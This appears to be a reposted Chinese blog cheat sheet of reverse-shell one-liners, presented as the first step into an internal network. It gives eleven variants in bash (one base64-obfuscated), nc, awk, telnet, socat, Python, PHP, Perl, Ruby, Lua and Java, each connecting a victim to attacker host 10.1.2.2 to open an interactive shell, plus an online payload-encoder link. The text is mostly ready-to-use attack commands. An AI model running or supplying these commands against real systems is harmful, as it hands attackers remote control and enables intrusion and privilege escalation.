反弹shell是进入内网的第一步,也是权限提升用到的至关重要的一步。
1、bash反弹
- 攻击机:
nc -lvp 4444
- 客户机:
bash -i>& /dev/tcp/10.1.2.2/4444 0>&1
命令介绍:
nc
- -i使用监听模式
- -v 显示命令执行过程
- -p 指定端口号。
- -e 执行给定的命令
bash
- -i使用交互模式,
- -c 执行跟的命令
重定向
- 0:标准输入,1:标准输出,2:错误输出。
- >输出重定向符
-
<输入重定向符号< p="">
输入重定向符号<> - >& 如果后面跟的是文件,则把标准输出和标准错误输出重定向到文件,如果后面跟的是文件描述符,则将左边的文件描述符重定向到右面描述符
/dev/tcp/10.1.2.2/4444
特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
base64版:
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
- 在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
2、nc反弹
- 攻击机:
nc -lvp 4444
- 客户机:
nc -e /bin/bash 10.1.2.2 4444
nc 10.1.2.2 4444 | /bin/bash |nc 10.1.2.2 5555
3、awk反弹
- 攻击机
nc -lvp 4444
- 客户机:
awk 'BEGIN{s="/inet/tcp/0/10.1.2.2/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
命令介绍:
awk
- BEGIN 执行结果前执行的内容
- END 执行结果后执行的内容
- getline 获取当前行的下一行
- close 关闭文件或管道
4、telnet反弹
- 攻击机
nc -lvp 4444
- 客户机:
telnet 10.1.2.2 4444 | /bin/bash | telnet 10.1.2.2 5555
- 需要在攻击主机上分别监听4444和5555端口,执行反弹shell命令后,在4444终端输入命令,5555查看命令执行后的结果。
5、socat反弹
- 攻击机
nc -lvp 4444
- 客户机:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp: 10.1.2.2:4444
socat
概述socat,是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版
- exec 执行一个程序作为数据流
6、Python反弹
- 攻击机
nc -lvp 4444
- 客户机:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.2.2',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
7、php反弹
- 攻击机
nc -lvp 4444
- 客户机:
php -r '$sock=fsockopen("10.1.2.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
8、Perl反弹
- 攻击机
nc -lvp 4444
- 客户机:
perl -e 'use Socket;$i="10.1.2.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
9、ruby反弹
- 攻击机
nc -lvp 4444
- 客户机:
ruby -rsocket -e'f=TCPSocket.open("10.1.2.2",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
10、Lua反弹
- 攻击机
nc -lvp 4444
- 客户机:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.2.2','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
11、JAVA反弹
- 攻击机
nc -lvp 4444
- 客户机:
public class Revs { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/10.1.2.2/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor(); } }
javac编译,java执行即可成功
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/198704.html原文链接:https://javaforall.net
